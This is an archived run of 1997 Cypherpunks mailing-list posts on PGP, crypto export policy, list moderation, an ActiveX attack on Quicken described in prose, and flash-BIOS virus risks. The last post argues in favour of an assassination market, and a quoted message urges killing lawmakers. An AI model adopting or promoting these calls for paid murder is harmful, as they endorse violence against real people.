and most of the release versions of PGP from 
ftp://ftp.wimsey.com/pub/crypto

Easiest thing is to point your web browser to 
ftp://ftp.wimsey.bc.ca/pub/crypto/software/README.html

Then after reading and agreeing to the conditions, click in the
appropriate place and descend into the PGP directory.

But, why do you want version 2.1?

-- 
Mark Henderson -- mch@squirrel.com, henderso@netcom.com, markh@wimsey.bc.ca
PGP key 1024/B2667EFF - 5A 93 7D 29 EB 63 84 09  EA A2 AA 6C FA C5 A6 21
unstrip for Solaris, Wimsey crypto archive, TECO, computer security links,
change-sun-hostid, Sun NVRAM/hostid FAQ - http://www.squirrel.com/squirrel/

--w=NZbzo6Zc1UmsEa
Content-Type: APPLICATION/PGP-SIGNATURE
Content-ID: <Pine.SUN.3.91.970202142321.627G@crl7.crl.com>

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3

iQCVAwUBMvT7LaWYCYyyZn7/AQGJmAP/dQs4nQi07UaNGSdx5pJcwppCnq9Uo77B
rIuwJppnWPsvlcN32GF88lf6TupIoIVsReZbYJdu2WPluXsUTQ+oTOwEHNOD831t
TXsqDd8QNpwZGGfbhv3tQ5T79jQIVim3jOesWbN9Ix3/qJyKgJnwRR1u0hZKriC3
lQAiUFl/hkg=
=VPrH
-----END PGP SIGNATURE-----

--w=NZbzo6Zc1UmsEa--




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 2 Feb 1997 14:25:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: National Cryptologic School
Message-ID: <199702022225.OAA03376@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


DAW provided this URL:

   http://csrc.nist.gov/training/in170.zip

   1996-04-29 Introduction to Computer Security
   National Cryptologic School
   Interactive Courseware Trainee Guide
   (formerly, CP-133) (37 zipped files, DOS program) 

We've had a look at this course, a primer on CompSec
and a required course for all DoD employees. It takes 
some fiddling to get past the sign-on block. Hint: after
unzipping execute "student.exe" and enter "CP" as the 
lesson. Repeat for other listed files, CPxxx - CPxxx.

It's basic stuff but worthwhile for its claims, these among 
others:

1. Most hackers are employees of the target.

2. Negligence, accidents and sloppy sys-administration are 
prime causes of disruptions, perhaps more than deliberate 
attacks.

3. Environmental weaknesses are often overlooked by
security experts too focussed on computer systems.

It lists these security documents as references:

   EO 12356 [superceded by EO 12958]
   DCID 1/16 [Director of Central Intelligence Directive]
   DoDDir 5200.28
   DoD 5200.28 STD
   Public Law 100-235
   NSA/CSS Dir 10-27
   NSA/CSS Manual 130-1 (NSAM 130-1)
   NSA/CSS Manual 130-2 (NSAM 130-2)
   NSA/CSS Reg 130-2
   NTISSAM COMPSEC 1-87
   The Rainbow Series
   OMB A-130

Does anyone know of a source for the DCID series and the
NSA/CSS series? Some of the others are available on the Web 
-- see AltaVista.

While looking for these we ran across an informative implementation 
of infosec and compsec:

   Information Systems Accreditation Document, 4 Volumes

   System Security Requirements for the
   Department of Defense Intelligence Information System

   Automated Message Handling System (AMHS) V2.x

   By:   McDonnell Douglas Aerospace
   For:   Electronic Systems Center,  Air Force Materiel Command

Which we've put at:

   http://jya.com/amhs.htm







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 3 Feb 1997 07:14:26 -0800 (PST)
To: Mani <mani@gateweb.co.uk>
Subject: Re: Ireland: Bid To Ban "Tamper Proof" Phones
Message-ID: <199702031514.HAA25769@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:32 PM 2/2/97 +0000, Mani wrote:
>>From today's Sunday Independent:
>
>Bid to ban "tamper proof" telephones.
>Liz Allen, Crime Correspondent
[...]
>Justice Minister Nora Owen is presiding over the conference which will agree
>on a memorandum of understanding whereby all of the 22 governments will
>agree to allow the sale of only telephones which can be intercepted.
[...]
>Among the countries which will be in attendance at the conference
>are America, Australia, Hong Kong, and Britain.

I would like to point out two items:

1. A US ban on domestic sales of secure telephony products will require an
act of Congress.

2. Insiders have known for months that the US Department of Justice is
planning to introduce crypto legislation during the current session of
Congress.

You draw your own conclusions. IMHO, we will see the USG approaching
Congress, pointing to the multilateral agreement, and ask that Congress
pass a law to implement the agreement (which, let us not forget about it,
has of course been instigated by the USG).

It just might work.


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sun, 2 Feb 1997 19:25:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702030325.TAA09985@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



A couple of people have sent me pinging messages, asking about my status on
the Cypherpunks list....apparently it has taken several weeks for folks to
notice my absence! :-}  This may speak volumes about why I have left the
list, and what the list has become.....

I chose not to write a "departing flame" (or message, but some might call
it a flame) when I unsubscribed several weeks ago--within an hour of
reading that John and Sandy had decided to make "their" list a moderated
list, by the way--as I saw little benefit. I was also fed up with things,
and saw no point in wasting even more of my time arguing against the New
Cypherpunks World Order, as the NCWO was clearly presented as a fait
accompli, not something ablut which opinions of list members (or even list
_founders_, at least not me) were being sought. It's my nature to just say
"Fuck it" and leave when I feel I have overstayed my time, or things are no
longer fun, or I am made to feel unwelcome.

But since several people have pinged me, asking about my status, I'll take
some time to say a few things. I've had access to the hks.net archive site,
and/or the Singapore site, to occasionally see what was being said on the
list (old habits die slowly, so I sometimes drop in to see what you people
are flaming each other about...not surprisingly--in fact utterly
predictably--I see vast amounts of bandwidth consumed by arguments about
moderation, about the putative biases of the Moderator and Director of the
New Cypherpunks World Order, about alternative moderation strategies (which
is stupid, as John and Sandy announced what they were going to do, not just
some of their preliminary thoughts), and so on. I've also noticed fewer
substantive essays. With no false modesty I tried awfully hard to compose
substantive essays on crypto-political topics, often more than one per day.
(Others did too, but they seem to be tapering off as well, leaving the list
to be dominated by something called a "Toto," the "O.J. was framed!"
ravings of Dale Thorn, the love letters between Vulis and someone name
Nurdane Oksas, and the occasional bit of crypto news. Ho hum. I'm glad I'm
not reading the list in e-mail, and thus can easily avoid replying to these
inanities...which would probably not be approved for reading by Sandy, so
why bother anyway?)


Rather than compose a traditional essay, I'll take the  easy way out and
list some bulleted points.

* First, I don't argue that John Gilmore is unfree to do as he wishes with
his machine, toad, which has been the major machine host for the
Cypherpunks list. John can tell us we have to write in Pig Latin if he
wishes. Much of the debate I saw in the archives was debate that missed the
point about what John could and couldn't do. No one can seriously question
the right of the owner of a machine, or the owner of a restaurant, etc., to
set the policies he wishes. The owner of a restaurant is perfectly free--or
used to be, and still is to anyone with even slightly libertarian or
freedom tendencies--to set the rules of his "house." He may insist that
shirts and shoes be worn, or that smoking is not allowed (or even is
required, in theory), etc. He may say "All those eating in my restaurant
must wear funny hats and have their costumes approved by Sandy Sandfort."
This is unexceptionable.

* However, anyone who disputes these rules (disputes in the sense of
disliking or disagreeing with them, not legally challenging them) is free
to leave. Those who don't like crowded, noisy, smoke-filled sports bars are
encourgaged to leave. And so on. Again, unexceptionable.

(The more complicated case of contracts, verbal or written, and "changing
the rules," does not apply here. No one had a contract with John, or Sandy,
or Hugh, etc., so this is not germane.)

* But the really important issue is this: is the _physical hosting_ of the
Cypherpunks mailing list coterminous with the "Cypherpunks"? If the list
was hosted by, say, UC Berkeley or PGP Incorporated, would we consider
these hosts to be the "owners" of the Cypherpunks group? Would we think
that a corporate host, say, would have the authority to direct what we
could say on the list? (Again, not disputing their corporate property
rights...as a libertarian, I cannot. Other issues are what I'm getting at.)

* If a Boy Scout troop meets at a local church, and has for several years,
continuously, would we consider the church to be the owner of the troop?
Could the church insist on avoidance of certain "cuss words" and demand
that prayers be said before each gathering? Certainly the church could tell
the troop what policies were to be followed if the the facilities were to
be used, etc., and the troop could leave if it didn't like the terms (or,
in parallel with my situation, any troop member could choose to leave....).
This is what we mean by "property rights": the legal right of a property
owner to do with his property as he wishes, modulo prior contractual
relationships, criminal laws, etc.

* How did the mailing list for the group, now called Cypherpunks, get
started, and how did it end up being run off of John's hardare? Hugh Daniel
got the actual mailing list rolling, based on a discussion Eric Hughes,
Hugh, and I had the day after the first physical meeting, in September
1992. We thought the group we had just spent the day with ought to be able
to stay in touch, and that a mailing list was the right way to go. There
was talk of siting it on the UC Berkeley computers (actually, the
Undergraduate Association computers, a la the Cypherpunks archive site at
"csua"), but Hugh thought he might be able to use "toad," and this is what
happened. (I have not heard from Hugh on his views of this New and
Moderated Non-Anarchic List.)

* I think we should all be very grateful to John for agreeing to let it run
on his hardware, but not let our gratitude turn into some sort of
subservience and blather about how John "owns" the Cypherpunks group.

* Again, is the "Cyherpunks community" the same as the mailing list? And is
the mailing list, hosted at toad, the "property" of John Gilmore?

* In my view, neither John nor Sandy in any sense "own" our group. It is a
virtual community which sometimes has physical meetings at various places
(including corporations, restaurants, and bookstores, none of which are
even partial "owners" of the group) and which has had several
instantiations on the Net, including sub-lists not connected to toad.com in
any way. While John is of course free at any time to suspend his hosting of
the list, I think it a serious misapprehension of the basic nature of
virtual communities to accept the claim that John should decide on what is
appropriate to bear the "Cypherpunks" list imprimatur and what is to be
consigned to the flame list.

* The mechanics of the announcement troubled me greatly. To be blunt, I was
seething with anger. I was mightily annoyed to read that John had made a
decision to appoint Sandy as his Moderator, with no discussion on the list.
I don't know if Eric Hughes and Hugh Daniel were asked their opinions, but
I certainly know I was not. I feel that as one of the two or three
founders, depending on how one is counting, and as a frequent contributor
to the list since its inception, and so on, I (and others) should at least
have been told of this plan. Better yet, have the plans discussed on the
list, as some good ideas may have been generated.

I'll have more to say about my problems with how things were handled.
Frankly, it smacked of the same kind of fait accompli decision John made
with the unsubscribing of Vulis. While John had (and has) every legal right
to do with his property as he wished, the effect was very negative. First,
Vulis found other ways to post (duh). Second, the list was consumed with
flames about this, many from Vulis, and many from others. Third,
journalists (who love sizzle over substance any day of the week) lept into
the fray with articles which gave Vulis the publicity he craved. Fourth, it
sent a message to enemies of liberty that "Even the Cypherpunks have found
it necessary to abandon their anarchic ways."

(I'm well aware of the issues with pests like Vulis, who seek to destroy
virtual communities like ours. But the solution John used did not work, and
generated more crap. As you all should know, it was John himself who coined
the wonderful saying, "The Net interprets censorship as damage and routes
around it." A delicious irony.)

* In the archives, I did see a bunch of "I support Sandy" and "John is our
leader" comments from reasonable people. The obvious noise of Vulis and his
cohorts like Aga made a "Do something!" attitude somewhat understandable. I
don't think the decision made was a wise one, and I strongly doubt it will
work to make the list a better one.

* The proper solution to bad speech is more speech, not censorship.
Censorship just makes opponents of "speech anarchy" happy--it affirms their
basic belief that censors are needed.

* "Censorship" is another overloaded term. I don't think the "Definition 1"
of dictionary definitions, about _governmental_ restrictions, is the only
meaningful definition. Everybody knows what it meant when we say that
"Lockheed is censoring the views of employees," even though we know
Lockheed is not using government power. A censor is one who censors. And
even my "American Heritage Dictionary" gives this as its "definition 1":

"censor n. 1. A person authorized to examine books, films, or other
material and to remove or suppress morally, politically, or otherwise
objectionable."

(Other dictionaries of course give similar definitions. The notion that
censors are confined to being government employees is a misconception.)

* OK, even given that John had decided to censor "his" list, what about his
choice of Sandy Sandfort as the censor? I've known Sandy for several years
(I was the one who invited him to the second Cypherpunks meeting), but he's
a poor choice as a censor, moderator, whatever. First, because he has so
often gotten involved in protracted flame wars, such as with Vulis
(remember the dozens of messages about the "bet" to bring Vulis out? I
stayed out of the charade completely.), with Hallam-Baker, and with others.
Second, because he has not been actively composing essays for a while,
perhaps because of his job with Community Connexion. Other reasons, too.

(I count Sandy as a friend, but I'm just being honest here. Sandy is just
not a "Peter Neumann" (moderator of the "RISKS" list).

* Nor do the announced criteria make any sense. While the inane one-line
scatological insults have been filtered out, many "flames" make it through,
based on what I've seen in perusing the hks archive site. And some
reasonable comments get dumped in the flame bucket.

* As expected, those who only want to talk about cryptography (but who
rarely do, themselves, also as expected) waste bandwidth saying the
"anarchist" and "libertarian" stuff ought to go in to the "rejected" list.
More bandwidth wasted, as each group lobbies to have its ideological
opponents censored by Sandy.

* I would have had no problem had John announced that he was creating a new
list, the "Good Stuff" list, with Sandy has his Chooser of Good Stuff.
After all, both Eric Blossom and Ray Arachelian already offer just such
lists, and more would not hurt.

But by making the _main list_ the censored one, this skewed things
considerably.

* (Frankly, one of my considerations in leaving was the feeling that I
would never know if an essay I'd spent hours composing would be rejected by
Sandy for whatever reasons....maybe he might think my essay was off-topic,
or used one of the Seven Deadly Words, or was "too flamish." Whatever. I
realized that life is too short to have Sandy Sandfort deciding whether my
essays should go out to the main list (which is really just a list like
Eric Blossom's best-of list, except it is be edict now the main list) or be
dumped into the flames list, to be read by a handful of people.)

* Why, many reasonable people may ask, did I not simply unsubscribe from
the "Cypherpunks" list and subscribe to the "Cypherpunks-Unedited) (or
whatever it is called) list? Because of my overall anger with the issues
raised above. The imperiousness of the decision, the notion of favoring
Sandy's tastes in a more "first class" way than, say, the tastes of Eric
Blossom, Ray Arachelian, or, for that matter, me.  "Some censors are more
equal than others."

* The decision to "moderate" (censor) the Cypherpunks list is powerful
ammunition to give to our opponents, and Vulis is certainly gleeful that
his fondest wishes have been realized. And it won't work. People are
consuming even more bandwidth arguing the merits of John's decision, the
traffic is presumably being slowed down by the need for Sandy to wade
through the traffic and stamp "Approved" or "Rejected" on what he glances
at, and people are "testing the limits" of what they can say and what they
can't say.

* It also sends a message that people are incapable of filtering out bad
speech, that they need a censor to do it for them. (Again, I have no
problem with competing "screeners," a la having Ray, Eric, or David
Sternlight filtering what they think is OK and what is not. Let a thousand
filtering services bloom.) But the clear message by having Sandy censor the
main list (the default list, the list name with the main name, the list we
all know about, etc.) is that Cypherpunks need Big Brother to shelter them
from Bad Thoughts, from Naughty Words, from Evil Flames, and from Impure
Desires. Foo on that.

* Psychologists might point to random reinforcement, even to the effects of
terror. How many of us are likely to write controversial posts knowing that
Sandy might wake up having a "bad hair day" and thus reject our posts? How
many will begin to skew their opinions to match those of Sandy? (I would
venture a guess that a Duncan Frissell would almost certainly get a
libertarian rant past Sandy while a Phill Hallam-Baker might easily fail to
get a leftist rant past him.)

* Those who want "less noise" should subcontract with the filter services
of their own choosing. This is the "Cypherpunk Way." Having Sandy as the
censor is the easy way out.

* By the way, the moderated list "RISKS"  works pretty well. But it is not
a _discussion_ group. It is, rather, a digest of news items related to
computer and technology risks, with some discussion by various
contributors, and with a long turnaround time of a few issues per week,
tops. Peter Neumann also devotes a lot of time to making it run smoothly
and bases part of his professional career on running it. I surmise that
Sandy is not prepared to do the same. Nor would this be a good idea, as
this would kill the spirit of the debate.

* Had there been a debate about the policy, I can think of several
approaches I'd like better. But inasmuch as John made it clear that there
would be no debate (and, perhaps as part of the "problem," John has not
really been a active member of the mailing list, in terms of participating
in the debates), this is all moot.

In any case, my several years with the list have taken a huge amount of my
time. Given the way this whole thing was handled, and the way the list is
degenerating even further, it looks like it's good that I'm moving on to
other things.


* To summarize:

- the decision to censor the list was made without any discussion on the
list, without any discussion with at least some of the longterm core
contributors, and was presented as a "fait accompli."

- while John has every right to do with his hardware as he wishes, he does
not "own" the Cypherpunks group (though whether he owns the "list" is a
semantically debatable point)

- whatever our group once was, or still is, is not dependent on having a
particular mailing list running on someone's home machine...and it cannot
be claimed that any person "owns" the Cypherpunks group.

- there is some talk of creating another Cypherpunks list, on other
machines; I don't know whether or not this will fly, or if I'll devote any
time to such lists.

- the effect of censorship, such as I have seen it so far, is not producing
a better list. In fact, as I would have expected, it is producing a more
boring and sheltered list.


And so there you have it.

I had no plans to set down my views, feeling it was a waste of my time and
your time. Rather than foam and rant the way some did (and Vulis must have
posted 100 messages on the subject), I chose to simply make my exit,
quickly.

But as I have recently seen several mentions of my absence (including a
particularly complimentary comment from Asgaard--thanks), I do feel I owe
it to you all to explain my views.

Which I have done. Have a nice year, and a nice millenium in a couple of years.


--Tim May




Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 2 Feb 1997 22:13:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Electronic Funds Transfer without stealing PIN/TAN
Message-ID: <199702030613.WAA14332@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Rachel Willmer <rachel@intertrader.com>
Mime-Version: 1.0
Precedence: Bulk
Date: Sun, 2 Feb 1997 15:03:25 +0000
From: Rachel Willmer <rachel@intertrader.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject: Electronic Funds Transfer without stealing PIN/TAN

--- From RISKS digest ---

Date: 1 Feb 1997 05:12:02 GMT
From: weberwu@tfh-berlin.de (Debora Weber-Wulff)
Subject: Electronic Funds Transfer without stealing PIN/TAN

The Berlin newspaper "Tagespiegel" reports on 29 Jan 97 about a television
show broadcast the previous evening on which hackers from the Chaos Computer
Club demonstrated how to electronically transfer funds without needing a PIN
(Personal Identification Number) or TAN (Transaction Number).

Apparently it suffices for the victim to visit a site which downloads an
ActiveX application, which automatically starts and checks to see if
Quicken, a popular financial software package that also offers electronic
funds transfer, is on the machine. If so, Quicken is given a transfer order
which is saved by Quicken in its pile of pending transfer orders. The next
time the victim sends off the pending transfer orders to the bank (and
enters in a valid PIN and TAN for that!)  all the orders (= 1 transaction)
are executed -> money is transferred without the victim noticing!

The newspaper quotes various officials at Microsoft et al expressing
disbelief/outrage/"we're working on it". We discussed this briefly in class
looking for a way to avoid the problem. Demanding a TAN for each transfer is
not a solution, for one, the banks only send you 50 at a time, and many
small companies pay their bills in bunches. Having to enter a TAN for each
transaction would be quite time-consuming. Our only solution would be to
forbid browsers from executing any ActiveX component without express
authorization, but that rather circumvents part of what ActiveX is intended
for.

A small consolation: the transfer is trackable, that is, it can be
determined at the bank to which account the money went. Some banks even
include this information on the statement, but who checks every entry on
their statements...

Debora Weber-Wulff, Technische Fachhochschule Berlin, Luxemburger Str. 10,
13353 Berlin GERMANY weberwu@tfh-berlin.de <http://www.tfh-berlin.de/~weberwu/>

--
Rachel Willmer, Intertrader Ltd, Cova House, 4 John's Place, Edinburgh
Email: rachel@intertrader.com    Tel: +44 131 555 8450    Fax: +44 131 555 8451
Sun Internet Associate and winner of 1996 SMART Award for Innovation
                       "We develop Java Commerce Solutions"




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 2 Feb 1997 22:10:41 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <cypherpunks@toad.com
Subject: Re: Key Security Question
Message-ID: <199702030610.WAA14061@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


X-Mailer: MR/2 Internet Cruiser Edition for OS/2 v1.24 







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 2 Feb 1997 22:10:56 -0800 (PST)
To: Adam Shostack <adam@homeport.org>
Subject: Re: "Strong" crypto and export rule changes.
Message-ID: <199702030610.WAA14116@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:55 PM 2/1/97 -0500, Adam Shostack wrote:
>	More seriously, that estimate is the cost of breaking DES on
>custom hardware, based on Wiener's figures.  Ian got RC4-40 in 3.5
>hours on I don't know how much hardware, not a lot of it custom, AFAIK.

http://now.cs.berkeley.edu is the home page for the 
Network Of Workstations CPU farm.  Mostly Suns with some recent
generation of Sparc chip.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Huge Cajones Remailer <nobody@huge.cajones.com>
Date: Mon, 3 Feb 1997 07:25:43 -0800 (PST)
To: cryptography@c2.net
Subject: Voice Encrytion/Scrambling
Message-ID: <199702031525.HAA26006@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Can anyone comment on and give pointers to devices designed to
encrypt voice transmission over POTS lines?  I am interested in 
the respective sound qualities (if you've tried it) and
relative strengths of encryption algorithms.  Thus far, I've found:

http://www-jb.cs.uni-sb.de/~khuwig/lc-1eng.html
http://www.cescomm.co.nz/cesindex.html
http://www.worldaccess.com/~djm/crytek.htm

The first on the list claims to use RSA but gives no ordering
or pricing information.  Conversely, the last two seem more
"available", however they are each vague on the specifics of
their respective encryption/scrambling algorithm.  Anyone?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 2 Feb 1997 22:14:55 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <cypherpunks@toad.com
Subject: Re: Key Security Question
Message-ID: <199702030614.WAA14344@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199702021555.HAA25423@toad.com>, on 02/02/97 at 09:34 AM,
   "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com> said:


>ichudov@algebra.com (Igor Chudov @ home) writes:

>> Dr.Dimitri Vulis KOTM wrote:
>> > Bill Stewart <stewarts@ix.netcom.com> writes:
>> > > On the other hand, if the "repairman" replaced your pgp executable
>> > > with version 2.6.3kgb, which uses your hashed passphrase as the
>> > > session key, you're hosed.  Or if he installed a keystroke sniffer,
>> > > or added a small radio transmitter to your keyboard, or whatever.
>> > > Depends on your threat model.  If you need to be paranoid,
>> > > they've already gotten you....
>> >
>> > If you're really paranoid, you can boot from a clean floppy and
>> > reinstall everything from your backup tapes. You do have a
>> > contingency plan in case your hard disk goes bad, or gets a
>> > virus, don't you? Well, if you're in doubt, exercise it.
>>
>> And what if the repairman replaces BIOS ROM chips with KGBios?

>On some computers it's possible to add executable code to the boot
>sequence without replacing the actual ROM chip because they're
>rewritiable. Examples: most Sun boxes; intel motherboards with 'flash
>bios'.

V-Communications has a nice Bios Pre-Processor for their dissasembler for
anyone intrested it playing with their bios code. Most newer MB's come with
Flash Bios and the software to Flash the chip is available for download
from the Manufacture. I'v gone and tinkered around with the bios on a
couple of my AMI motherboards.

Flash bios does open the possibility for a virus infection of ones bios. I
have had several intresting discussions with the AMI programmers about
this. IMHO any device that has flash bios should have a jumper on the
circuit board to enable/disable the flash option. I have not seen anyone
that is doing this with their products.

The MB bios is relativly safe as the flash process happens pre-post but
considering that flash bios can be found in almost all computer prerifials
the potential for harm is there. Currently on my system I have flash bios
on the HD's, modem's, NIC's, & SCSI card's. All are a potential hiding spot
for a virus.


- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 

 
Tag-O-Matic: Air conditioned environment - Do not open Windows.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 2 Feb 1997 22:16:23 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Libel, Times v. Sullivan
Message-ID: <199702030616.WAA14387@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Attila T. Hun

+Yes, if the Magna Carta guaranteed a right and the forefathers fought
+to  secure it, why should any of us ever have to lift a finger in our
+own  defense.

    seems to me Jefferson said it took a rebellion every 20 years or so
    to keep democracy awake...  other than presuming your answer is
    tongue in cheek (not elsewhere), complacency == welfare.
.........................................................


Definitely  tongue-in-cheek.    Just noting that if a thing has been 
"guaranteed", this means (by my interpretation) that it is a done deal and 
nothing further need be done about it - it's established and automatic.

But obviously a "right", though it be a basic operant in Nature and 
existent as an abstract concept in some people's minds, is not recognized 
either naturally or formally by many.

Therefore, as Jefferson remarked, we cannot depend on our forefather's 
vision to uphold our honor but must re-establish it as needed.

    ..
Blanc









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 2 Feb 1997 22:13:10 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: FW: Cyphernomicon by Tim May
Message-ID: <199702030613.WAA14330@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


(meant to send this to the list earlier)
From:	Toto

  Personally, I could care less when people want to play footsie-games
with flaming, but I think it points out the ludicrousness of having
a moderator limiting people to 'childish' insults.
  I prefer someone screaming at me what a cocksucker I am.
...................................................

Now, you know it has to do with proportion:  if Jim Choate, in the course 
of an ADD-induced discourse on the reprehensability of libelous 
indiscretions, happens to let out a "Bessie", it's going to be less 
disconcerting than to read continuous content-less alerts consisting of 
nothing but declarations against your personal virtue.   At the very least, 
the one provides some cause for educated clarification, while the other 
leaves nothing to say, but only to filter.

However, it's 3:00 a.m. PST and Sandy's asleep right now, so if you really 
feel like flaming somebody uninhibitedly, now's the time to get past the 
flame-bot (hee-hee).

=

 Ray Hettinga forwards these long, literate missives advertising
this-or-that million dollar a plate conferences, but when he chose
to insult me with his own words, the result was an immature
blathering which showed questionable literary skills.
.............................................

Bad, Ray  -  Bad!

=

  It would be nice, however, to try to twist the rest of the list
around to my own world-view. It gets lonely here in the 'rubber room'
at the Home, and I could use some company.
.............................................

You're at liberty to try.   Why don't you start with Messrs. Jim and Jim.
(but, wait  -  let me set up my Inbox Rules.....)

    ..
Blanc







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Asgaard <asgaard@Cor.sos.sll.se>
Date: Sun, 2 Feb 1997 09:56:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cyphernomicon by Tim May
Message-ID: <199702021756.JAA27430@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 2 Feb 1997, Declan McCullagh wrote:

>That question is one for Tim to answer, but I should point out that

TC May hasn't posted in a month or so. I miss his posts. Without
any official role he was the de facto moderator, mostly by example
but also by pointing out the core of the issues when things went
astray, for all those years. Did he mention going away for so long
in any of his latest posts? I remember 'for the holiday season'
but that is long gone. I hope he hasn't left the list for good,
being pissed off by Gilmore's choice of moderator(s) or some
such reason.

Asgaard





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Mon, 3 Feb 1997 07:25:44 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: PCS Encryption?
Message-ID: <199702031525.HAA26007@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


John Young wrote:
|    http://www.nsa.gov:8080/programs/missi/condor.html

# How secure is CONDOR?
# 
#      Current proof-of-concept hardware is FORTEZZA(TM) based
#	(sensitive but unclassified)  Product versions will use STU
# 	for cellular voice and FORTEZZA(TM) Plus for net broadcast
# 	mode and data  

	I was under the impression that Fortezza was ok for classified
traffic.  Did I miss the changeover, was it unannounced, or was I
simply misremembering?

Adam

-- 
Pet peeve of the day: Security companies whose protocols dare not
speak their name, because they don't have one. Guilty company of the
day is now V-One.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 2 Feb 1997 22:13:11 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
Message-ID: <199702030613.WAA14331@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> jim bell wrote:
> > Better yet, set up a system to encourage the public to USE those guns (and
> > other weapons) to get rid of the people who pass such laws, and the problem
> > is solved.

> How about this scenario: I borrow 1 million dollars from, let's say,
> Phill Hallam-Baker. Not wanting to pay it back, I pay to the
> assassination bot and arrange him to be murdered.

Igor, there's an old saying in this country: the best way to lose a
friend is to lend him money.

> Another story: suppose that I negligently caused fire that destroys
> house of, say, Toto. Toto knows that if he sues me, I can arrange him
> murdered for the amount less than the amount of damages. As a result,
> he refrains from suing me, or (if he is a mean person) pays additional
> money to have me murdered. A suit would probably be a much better outcome.

Sometimes you have to pay a steep price for negligence, like neglecting
to watch how close you get to the edge of the road on, say, Topanga
Canyon or one of those (long way down).  Now, since people *know* to
be extra careful on the canyon roads, don't you think by the same
analogy they'd be extra careful with other things when AP is running?

> Another story: suppose that OKSAS hired me to work for her, but then
> our relationships go south and she fires me. Again, her fate is very
> unclear, although I would probably spare her life if it were she.

If she does it right, with empathy, there is not likely to be a
problem.  On the other hand, if she bad-mouths you to prospective
employers or customers you want to do business with, you might be
inclined to hit her.  This happens a lot when AP is not available.

> The bottom line is, it becomes very hard to do ANYTHING that disappoints
> at least somebody. That can lead to a lot of inefficiencies.

To get rid of everyone who pisses you off, you'd have to pay a lot
more money than you'll ever have, therefore not a problem.  Those
people who have such money are not going to bump off very many more
people than they already do, because:

1. They need the people to make money off of (Mafia rule #4, never
   kill someone who owes you money [or is a money source]).

2. Rich people have a lot of eyes on them, and it would be easy to
   triangulate a series of murders to them, even without hard evidence.
